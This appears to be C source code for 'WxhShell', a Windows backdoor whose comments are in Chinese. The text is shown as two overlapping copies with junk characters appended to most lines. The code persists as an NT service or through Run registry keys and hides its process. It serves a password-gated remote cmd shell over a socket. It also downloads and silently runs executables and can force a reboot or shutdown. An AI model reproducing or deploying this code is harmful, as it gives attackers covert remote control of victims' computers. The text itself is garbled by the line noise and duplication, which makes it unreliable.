    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <;b  
    if(Boot(SHUTDOWN)) 7~MWp4.   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h9c7P@29  
    else { =&4eW#{LuH  
    closesocket(wsh); ;SA+| ,  
    ExitThread(0); A1zV5-E/  
    } \n#l+R23  
    break; RC"xnnIJv  
    } S=w~bz, /  
  // 获取shell *0a7H$iQ(]  
  case 's': { S +73 /Vs  
    CmdShell(wsh); MS|1Q@S9  
    closesocket(wsh); ;''S} ;  
    ExitThread(0); \FO 4A  
    break; }?GeU Xhy  
  } 2qj0iRH#N<  
  // 退出 0j#$Swa  
  case 'x': { xr)m8H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'HvW&~i(  
    CloseIt(wsh); ER]C;DYX  
    break; ocp3JR_0  
    } wE <PXBl\b  
  // 离开 M@.?l=1X  
  case 'q': { :e_yOT}}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lQ.3_{"s  
    closesocket(wsh); /KJWo0zo  
    WSACleanup(); Tc;BE  
    exit(1); eLN(NSPoS  
    break; @yPI$"Ma  
        } V3pn@'pr  
  } =8qhK=&]  
  } Mr K?,7*Xi  
'_=XfTF  
  // 提示信息 x4_FG{AIu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7 Uu  
} 9JC8OSjJ  
  } !.{{QwZ  
i6h0_q8 >  
  return; FRE${~Xd  
} ?=Z0N&}[  
H&ZsMML/%  
// shell模块句柄 '&xRb*  
int CmdShell(SOCKET sock) ZcN%F)htm  
{ O >&,h^  
STARTUPINFO si; WgV[,(  
ZeroMemory(&si,sizeof(si)); +7)/SQM5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <_Po/a!c3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W.b?~  
PROCESS_INFORMATION ProcessInfo; U./1OZ&  
char cmdline[]="cmd"; %eqL)pC]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z?_5fte`  
  return 0; 2ld0w=?+eu  
} .3,Ow(3l  
p@xK`=Urb  
// 自身启动模式 ;V~~lcD&Y`  
int StartFromService(void) }JWk?  
{ &]'< M  
typedef struct P\|i<Ds_M  
{ nr9c G/"  
  DWORD ExitStatus; k{$Mlt?&-  
  DWORD PebBaseAddress; w~9=6|_  
  DWORD AffinityMask; {I_I$x_  
  DWORD BasePriority; m`ab5<%Gn  
  ULONG UniqueProcessId; (V~PYf%  
  ULONG InheritedFromUniqueProcessId; gI~jf- w  
}   PROCESS_BASIC_INFORMATION; lhV'Q]s@6  
~rU{Q>c  
PROCNTQSIP NtQueryInformationProcess; Vt," 5c  
I:#Es.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O/Wc@Ln  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BcTV5Wcr  
5/{gY{  
  HANDLE             hProcess; = l9H]`T/  
  PROCESS_BASIC_INFORMATION pbi; =}AwA5G  
q^w3n2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Aa/lKiiz  
  if(NULL == hInst ) return 0; lN^} qg><  
lFL iW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U~8 oE_+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7[ra#>e8'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X[c8P7  
mI~k@!3  
  if (!NtQueryInformationProcess) return 0; H0B"?81  
o93A:fc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _7zER6#}  
  if(!hProcess) return 0; d6k`=Hlg  
0Sz iTM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G" Fd]'  
=#<TE~n2(  
  CloseHandle(hProcess); #zcnc$x\  
[0e}%!%M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sf5koe  
if(hProcess==NULL) return 0; P1 `-OM  
Gv}h/zu-  
HMODULE hMod; 9m fYB  
char procName[255]; e$^O_e  
unsigned long cbNeeded; Ci ? +Sl  
^CwzA B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o5FBqt  
^25[%aJI  
  CloseHandle(hProcess); ?qQRA|n*  
Y<S,Xr;J:  
if(strstr(procName,"services")) return 1; // 以服务启动 @kLpK  
?9801Da#/  
  return 0; // 注册表启动 `jb?6;15  
} $u9y H Z  
<3>Ou(F  
// 主模块 xCV3HnZ  
int StartWxhshell(LPSTR lpCmdLine) =ITMAC\  
{ <zK9J?ZQW>  
  SOCKET wsl; ~WJEH#  
BOOL val=TRUE; B/Lx,  
  int port=0; _6 ~/`_(KP  
  struct sockaddr_in door; vxo iPqo  
/*lSpsBn  
  if(wscfg.ws_autoins) Install(); &6E^<v?]  
Gu:aSb  
port=atoi(lpCmdLine); s3G3_&  
0Kjm:x9T  
if(port<=0) port=wscfg.ws_port; g<Sa{<0  
.;n<k  
  WSADATA data; eRa1eR gP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '7{0k{  
!R WX1Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %fpcH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S0~F$mP'  
  door.sin_family = AF_INET; ;%#@vXH[Oo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xF_ Y7rw1w  
  door.sin_port = htons(port); -)aBS3  
:r[`bqC;\*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *~|xj,md  
closesocket(wsl); QP?Z+P<  
return 1; .Tdl'y:..  
} y@G5I>v  
,bCPO` 45  
  if(listen(wsl,2) == INVALID_SOCKET) { (y AQm pp  
closesocket(wsl); t\]CdH`+  
return 1; -C5Qh&~W  
} SD6xi\8  
  Wxhshell(wsl); CV 4r31w  
  WSACleanup(); vpUS(ztvs  
/9WR>NUAO  
return 0; *IGgbg[0  
n5%rsNxg  
} eGblQGRS  
SN'LUwaMp!  
// 以NT服务方式启动 2`l$uEI3oJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1k\1U  
{ !+T+BFw.  
DWORD   status = 0; %?C{0(Z{  
  DWORD   specificError = 0xfffffff; gRKmfJ*u  
+MeEy{;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pscCXk(|A`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0%+TU4Xx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H.Z:at5n  
  serviceStatus.dwWin32ExitCode     = 0; 56AaviEC  
  serviceStatus.dwServiceSpecificExitCode = 0; ab' f:  
  serviceStatus.dwCheckPoint       = 0; V2'(}k  
  serviceStatus.dwWaitHint       = 0; #T n~hnW  
z1F[okLA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LC\Ys\/,U  
  if (hServiceStatusHandle==0) return; | 9!3{3  
~-6Kl3Y  
status = GetLastError(); A[!Fg0X0  
  if (status!=NO_ERROR) 7+j@0v\  
{ t@!X1?`w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,l` q  
    serviceStatus.dwCheckPoint       = 0; TjlKy  
    serviceStatus.dwWaitHint       = 0; e0*',  
    serviceStatus.dwWin32ExitCode     = status; u /cL[_Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^&DHBx"J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %n9}P , ?  
    return; *#frbV?;  
  } S0g5Ym ia  
Ps.O.2Z5ZB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uyxU>yHV<g  
  serviceStatus.dwCheckPoint       = 0; >u~ [{(d ,  
  serviceStatus.dwWaitHint       = 0; >&aFSL,f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rGRxofi.  
} IX^k<Jqr  
Jnm{i|6N  
// 处理NT服务事件,比如:启动、停止 f 7et  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7^Jszd:c08  
{ }jfU qqFd  
switch(fdwControl) MlsF?"H p  
{ 9 YU7R)  
case SERVICE_CONTROL_STOP: ^,b*.6t  
  serviceStatus.dwWin32ExitCode = 0; JHc|.2Oe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @k,u xe-  
  serviceStatus.dwCheckPoint   = 0; Z%XBuq:BY  
  serviceStatus.dwWaitHint     = 0; Nd#t !=  
  { us4.-L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {`KgyC W:  
  } y^hpmTB3"  
  return; lVXgp'!#j  
case SERVICE_CONTROL_PAUSE: _jK\+Zf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U{LDtn%@h6  
  break; n@5pS3qZ  
case SERVICE_CONTROL_CONTINUE: M,t8<y4 W/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @"kA&=0;|J  
  break; i,S%:0c7)  
case SERVICE_CONTROL_INTERROGATE: |VlAt#E  
  break; & .+[~2  
}; HQaKG4Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [lQp4xgxi  
} ,ye>D='  
%g0"Kj5  
// 标准应用程序主函数 Fx0K.Q2Y0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8b(UqyV  
{ ;MCv  
dj?.Hc7od  
// 获取操作系统版本 //e.p6"8h  
OsIsNt=GetOsVer(); _w^p~To^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C\.?3  
?;|$R   
  // 从命令行安装 5gGYG]*l  
  if(strpbrk(lpCmdLine,"iI")) Install(); v.cB3/$ z  
Nb#E +\q  
  // 下载执行文件  t\{q,4  
if(wscfg.ws_downexe) { GfJm&'U&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0X0HDQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); /zuU  
} '7wI 2D  
d<V+;">2  
if(!OsIsNt) { "a5?cX;  
// 如果时win9x,隐藏进程并且设置为注册表启动 7u!R 'D  
HideProc(); (bH"x  
StartWxhshell(lpCmdLine); e1}h|HL j  
} f>waF u-  
else {;Mcor3  
  if(StartFromService()) )+oDa{dZ  
  // 以服务方式启动 1 < <`T%&  
  StartServiceCtrlDispatcher(DispatchTable); C?bPdJ,6  
else cpFw]w%]  
  // 普通方式启动 kdQ=%  
  StartWxhshell(lpCmdLine); E^1uZI\z  
o,D>7|h  
return 0; {^"c>'R  
} }N2T/U  
nrwb6wj  
X  LA  
*u 3K8"XZ  
=========================================== 6peO9]Zy  
yXppu[=  
g}$]K! F  
WsJ3zZc  
#R305  
3r+vpyu  
" =o{zw+|% %  
',kYZay  
#include <stdio.h> Xn$]DE/r}N  
#include <string.h> 4eBM/i  
#include <windows.h> 'e7<&wm ia  
#include <winsock2.h> 8Th|'  
#include <winsvc.h> A37Z;/H~k  
#include <urlmon.h> 3,oFT   
AJ^9[j}  
#pragma comment (lib, "Ws2_32.lib") pL.r 9T.  
#pragma comment (lib, "urlmon.lib") S<88>|&n]  
Nypa,_9}  
#define MAX_USER   100 // 最大客户端连接数 f*1.Vg0`-  
#define BUF_SOCK   200 // sock buffer FFR_1Vf  
#define KEY_BUFF   255 // 输入 buffer K$ #(\-M  
-g;iMqh#  
#define REBOOT     0   // 重启 -7'>Rw  
#define SHUTDOWN   1   // 关机 {{SQL)yJ  
G0CmY43  
#define DEF_PORT   5000 // 监听端口 _s|C0Pt  
~hE"B) e  
#define REG_LEN     16   // 注册表键长度 V_Wv(G0-\  
#define SVC_LEN     80   // NT服务名长度 `-]*Qb+  
f@[q# }6  
// 从dll定义API ]*%0CDY6`N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wcsUb 9(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C[&  \Xq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EtcAU}9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _;v4 ]MU  
k/j]*~"  
// wxhshell配置信息 r<UZ\d -  
struct WSCFG { Xv]O1fcI  
  int ws_port;         // 监听端口 fk#SD "iJ  
  char ws_passstr[REG_LEN]; // 口令 EXS 1.3>  
  int ws_autoins;       // 安装标记, 1=yes 0=no y''`73U"  
  char ws_regname[REG_LEN]; // 注册表键名 p8%x@%k  
  char ws_svcname[REG_LEN]; // 服务名 FGzB7w#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $MfHA~^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S,n*1&ogj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G9N6iKP!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Pqo"~&Y|~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c:>&Bg&,6T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u~bk~ 3.I  
l yF~E  
}; DN;g2 R`f  
flR6^6E  
// default Wxhshell configuration qg'RD]a>R  
struct WSCFG wscfg={DEF_PORT, ~>k<I:BtrT  
    "xuhuanlingzhe", O<Ht-TN&  
    1, ou6yi; l%  
    "Wxhshell", @4sv(HyDY  
    "Wxhshell", (05/}PhB`  
            "WxhShell Service", 2%. A{!  
    "Wrsky Windows CmdShell Service", pu0IhDMn  
    "Please Input Your Password: ", h-<('w:A  
  1, 5^ARC^v  
  "http://www.wrsky.com/wxhshell.exe", i`FevAx;[m  
  "Wxhshell.exe" iNe;h|  
    }; ^0pd- n@pn  
VI74{='=  
// 消息定义模块 :JV= Kt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (Z,v)TOXjV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PUuxKW}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \WQ\q \  
char *msg_ws_ext="\n\rExit."; J)x-Yhe  
char *msg_ws_end="\n\rQuit."; 4~P{H/]  
char *msg_ws_boot="\n\rReboot..."; A'c0zWV2  
char *msg_ws_poff="\n\rShutdown..."; _o'ii VDuD  
char *msg_ws_down="\n\rSave to "; -,uTAk0+@  
qTj7mUk  
char *msg_ws_err="\n\rErr!"; 1 }Tbp_  
char *msg_ws_ok="\n\rOK!"; [v^T]L  
CJz2.yd  
char ExeFile[MAX_PATH]; =!GUQLS{  
int nUser = 0; K;k_MA310  
HANDLE handles[MAX_USER]; /$|C s  
int OsIsNt; 4;<?ec(dc  
W.r0W2))(  
SERVICE_STATUS       serviceStatus; <ZSH1~<{6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "4<RMYQ  
Qo4]_,kR  
// 函数声明 po4seW!  
int Install(void); Yev] Lp  
int Uninstall(void); ~4"adOv  
int DownloadFile(char *sURL, SOCKET wsh); P%8 Gaa=  
int Boot(int flag); :rk=(=@8`  
void HideProc(void); Y}&//S A  
int GetOsVer(void); aqQ YU5l4~  
int Wxhshell(SOCKET wsl); -+Axa[,5=  
void TalkWithClient(void *cs); 9y{[@KG  
int CmdShell(SOCKET sock); =3]}87  
int StartFromService(void); ^ r-F@$:.  
int StartWxhshell(LPSTR lpCmdLine); }3E@]"<cVR  
Oz'x5/%G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EcxPbRg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <1YINkRz  
q6bi{L@/R  
// 数据结构和表定义 f=+|e"i #p  
SERVICE_TABLE_ENTRY DispatchTable[] = r{!]` '8  
{ 3k.{gAZKh  
{wscfg.ws_svcname, NTServiceMain}, Nj$3Ig"l  
{NULL, NULL} qjFz}6  
}; 8UJK]_99I,  
q_bE?j{  
// 自我安装 I<`K;El'  
int Install(void) P^&%T?Y6z  
{ )h]~< fU  
  char svExeFile[MAX_PATH]; 9t:F![rg  
  HKEY key; 9utiev~3  
  strcpy(svExeFile,ExeFile); 2&MIt(\-  
Y,w'Op  
// 如果是win9x系统,修改注册表设为自启动 UbNA|`H  
if(!OsIsNt) { jfP2n5X83  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \3JZ =/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m \o<a|  
  RegCloseKey(key); %X7R_>.   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y~gDS^8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d[E~}Dq3#  
  RegCloseKey(key); }Qyuy~-&^  
  return 0; $M{MOehZ  
    } 4QC"|<9R  
  } >L\$  
} ,V1/(|[h  
else { a8ya5EO  
I@Pp[AyG  
// 如果是NT以上系统,安装为系统服务 -sO[,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K&Ner(/X`6  
if (schSCManager!=0) Rah"La  
{ Cuu yG8  
  SC_HANDLE schService = CreateService d` %8qLIW  
  ( 1/X@~  
  schSCManager, r<VZE bm)  
  wscfg.ws_svcname, Oxo?\ :T  
  wscfg.ws_svcdisp, fFDI qX  
  SERVICE_ALL_ACCESS, O'm><a>8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `B6*wE-|  
  SERVICE_AUTO_START, 7ss Y*1b  
  SERVICE_ERROR_NORMAL, p4mi\~Q  
  svExeFile, yM aU`z  
  NULL, f++MH]I;  
  NULL, p)6!GdT  
  NULL, R= ,jqW<  
  NULL, Z6s-n$dSm  
  NULL JjA3G`m=  
  ); KZy2c6XO;  
  if (schService!=0) ~puXZCatN  
  { b3R1L|@  
  CloseServiceHandle(schService); 7k,pUC-w7c  
  CloseServiceHandle(schSCManager); ,;;7+|`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NwAvxN<R(f  
  strcat(svExeFile,wscfg.ws_svcname); jf&B5>-x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e_RLKFv7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9{[I|  
  RegCloseKey(key); TL&`Ywy  
  return 0; Vw-,G7v&E  
    } ,LI$=lJ@  
  } ?*DM|hzOi  
  CloseServiceHandle(schSCManager); [v47_ 5O  
} q^!_jMN5  
} O2i7w1t  
f>*T0"\c  
return 1; kN7 J Z12  
} _y>mmE   
SeuC7!q{  
// 自我卸载 +cH,2^&  
int Uninstall(void) di.yh3N$  
{ jfmHc(fX4  
  HKEY key; C,;T/9  
 +kA>^  
if(!OsIsNt) { I=aoP}_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (rKyX:Vsy  
  RegDeleteValue(key,wscfg.ws_regname); J?6.yL;  
  RegCloseKey(key); /x%h@Cn!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %MG{KG=&o  
  RegDeleteValue(key,wscfg.ws_regname); E_q/*}]pE  
  RegCloseKey(key); L hp  
  return 0; x,wXR=H  
  } ~[8n+p+&X  
} rR Kbs@1M  
} CzMCd ~*7R  
else { %G0J]QY{(x  
;R5@]Hg6q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~7p!t%;$  
if (schSCManager!=0) G)|Xj70  
{ 87!D@Xn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;X_bDiG$  
  if (schService!=0) I+oe{#:.  
  { .lsD+}  
  if(DeleteService(schService)!=0) { m}UcF oaO  
  CloseServiceHandle(schService); T`?7z+2A  
  CloseServiceHandle(schSCManager); 6jw9p+.  
  return 0; Xr:gm`[  
  } 6ZO6 O=KD  
  CloseServiceHandle(schService); #ovausK[7  
  } 6a*?m{  
  CloseServiceHandle(schSCManager); J\@|c.ws  
} 'FNnFm  
} $-D}y:  
Yg /g9$'  
return 1; (rmOv\hG9V  
} V0)bPcS/  
^C=dq(i=[  
// 从指定url下载文件 Vc[aNpE  
int DownloadFile(char *sURL, SOCKET wsh) z`"*60b  
{ jgvzp  
  HRESULT hr; SND@#?hiO  
char seps[]= "/"; @V?T'@W7D  
char *token; ,`Keqfx  
char *file; e{EC# %x_  
char myURL[MAX_PATH]; kzE<Y  
char myFILE[MAX_PATH]; V` T l$EF  
NX[-Y]t  
strcpy(myURL,sURL); ]OSq}ul  
  token=strtok(myURL,seps); >jU25"XI[  
  while(token!=NULL) 0g 2?  
  { a8WWFAC[  
    file=token; }/w]+f*  
  token=strtok(NULL,seps); m?< ^b_a}  
  } ~8 B]  
{+~ JTrp  
GetCurrentDirectory(MAX_PATH,myFILE);  -uKTEG[  
strcat(myFILE, "\\"); Ypx5:gm|J  
strcat(myFILE, file); ]'NL-8x">  
  send(wsh,myFILE,strlen(myFILE),0); nt&"? /s  
send(wsh,"...",3,0); 1[yy/v'q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y\,aJL$  
  if(hr==S_OK) ["O_ Phb|  
return 0; ZveNe~D7C  
else ,i jB3J  
return 1; k vpkWD;  
MY60%  
} +v2)'?BS  
T@Bu Fr`]<  
// 系统电源模块 E<ILZpP  
int Boot(int flag) A`--*$8\  
{ Kv9$c(~#  
  HANDLE hToken; zfD@/kU  
  TOKEN_PRIVILEGES tkp; fsl ZJE  
X"jL  
  if(OsIsNt) { {?;qy\m]o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x8xz33  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pO/vD~C>  
    tkp.PrivilegeCount = 1; %aI,K0\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t~H0Qeb[v=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YV8PybThc  
if(flag==REBOOT) { uHsLlfTn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 74 W Ky  
  return 0;  _!_^B  
} ,#czx3?4  
else { oTRid G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <O1os"w  
  return 0; cyLl,OA  
} (wFoI}s  
  }  ZC%;5O`  
  else { 1:iB1TclP  
if(flag==REBOOT) { ny%$BQM=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UGlHe7  
  return 0; !>"fDz<w`  
} mrq,kwM  
else { .EPv4[2%F8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .p]r S =#  
  return 0; GKbbwT0T|  
} hH9~.4+*`g  
} aZ|?i }  
s3T7M:DM4  
return 1; H|0-Al.{  
} 3~Lsa"/  
<@# g2b  
// win9x进程隐藏模块 fJP *RVz  
void HideProc(void) hj&~Dn(  
{ n!.=05OtX  
'=O1n H<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C0K: ffv;<  
  if ( hKernel != NULL ) (c&%1bJ  
  { piH0_7qr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FrUqfTi+W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BsA'r+ho?H  
    FreeLibrary(hKernel); AN6Q~%,  
  } 2X[oge0@  
$M j\ 3  
return; o ^ \+Ua  
} ZDAW>H<  
~#4FL<W  
// 获取操作系统版本 SB08-G2  
int GetOsVer(void) $_,-ES I  
{ *sZH3:  
  OSVERSIONINFO winfo; -)B_o#2=2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .j&#  
  GetVersionEx(&winfo); UX[s5#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^<qi&*  
  return 1; lz ::6}  
  else a$h^<D ^  
  return 0; Q xA( *1  
} _'ebXrbZB  
]jm:VF]4  
// 客户端句柄模块 ^H7xFd|>  
int Wxhshell(SOCKET wsl) GA$fueiQNs  
{ YvcV801Go  
  SOCKET wsh; G'p322Bu  
  struct sockaddr_in client; xpO;V}M|  
  DWORD myID; 8PH4v\tJEK  
9 &uf   
  while(nUser<MAX_USER) AoOA.t6RVo  
{ '2i !RT-  
  int nSize=sizeof(client); v*qbzW`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,c  ^nW  
  if(wsh==INVALID_SOCKET) return 1; 7n.Oem  
KK #E qJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /5/gnp C  
if(handles[nUser]==0) %7}j|eS)G  
  closesocket(wsh); GF8wKx#J  
else G"E_4YkJ  
  nUser++; }zf!mlk  
  } 2nC,1%kxhq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fglfnx0{  
W[*xr{0V  
  return 0; .?Y"o3  
} ,!@MLn  
H!Q72tyo  
// 关闭 socket prN+{N8YC  
void CloseIt(SOCKET wsh) )MK $E,W  
{ bTrusSAl  
closesocket(wsh); ^}p##7t [  
nUser--; [8IO0lul+  
ExitThread(0); d[p2? ]  
} n`&D_AbQ  
|,:p[Oy  
// 客户端请求句柄 +llb{~ZN  
void TalkWithClient(void *cs) `62v5d*>a  
{ 4Ex&AR8  
IF0!@f  
  SOCKET wsh=(SOCKET)cs; ?..BA&zRk  
  char pwd[SVC_LEN]; 2O[sRm)  
  char cmd[KEY_BUFF]; =hFY-~U  
char chr[1]; $7DW-TA  
int i,j; "QNQ00[T`>  
w/ rQOHV{  
  while (nUser < MAX_USER) { y42 Cg  
aMY@**^v  
if(wscfg.ws_passstr) { CAC4A   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3MNM<Ih  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]&]DF Y~n  
  //ZeroMemory(pwd,KEY_BUFF); C'|9nK$%  
      i=0; -Q@f),  
  while(i<SVC_LEN) { i$<['DY  
5X)M)"rq;V  
  // 设置超时 *$-X&.h[  
  fd_set FdRead; =X7kADRq  
  struct timeval TimeOut; %eg+ .  
  FD_ZERO(&FdRead); IJGw<cB]+  
  FD_SET(wsh,&FdRead); mLZ1u\ 7W  
  TimeOut.tv_sec=8; G@`F{l  
  TimeOut.tv_usec=0; X\ P%C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -i2rcH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b|Emu!9U  
.waw=C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'Tjvq%ks   
  pwd=chr[0]; Ld}?daPj  
  if(chr[0]==0xd || chr[0]==0xa) { Fb]+h)on  
  pwd=0; !P=Cv=  
  break; VZWo.Br'W  
  } * &:_Vgu  
  i++; [5?Dov^j 3  
    } MVzuE}  
f1ANziC;i  
  // 如果是非法用户,关闭 socket GT<oYrjU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <z,)4z++  
} 8A3/@Z;0S  
F5 ]<=i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n>q!m@ }<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %T]^,y$n  
K9k!P8Rd  
while(1) { Mi8)r_l%O  
[cd1Mf:[Y  
  ZeroMemory(cmd,KEY_BUFF); ]A=\P,D  
&/WM:]^?0)  
      // 自动支持客户端 telnet标准   5N|LT8P}Z  
  j=0; ]E<Z5G1HD  
  while(j<KEY_BUFF) { T\}U{9ELL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O68-G  
  cmd[j]=chr[0]; JpfA+r  
  if(chr[0]==0xa || chr[0]==0xd) { >[;@ [4}  
  cmd[j]=0; F*PhV|XU  
  break; -/JEKw c  
  } (^}t  
  j++; ?lsK?>uU  
    } !\7`I}:  
xyGwYv>*KO  
  // 下载文件 34u[#O{2  
  if(strstr(cmd,"http://")) { cr!W5+r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V )<>W_g  
  if(DownloadFile(cmd,wsh)) XY'8oU`]{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R<&Euph  
  else +ausm!~6  
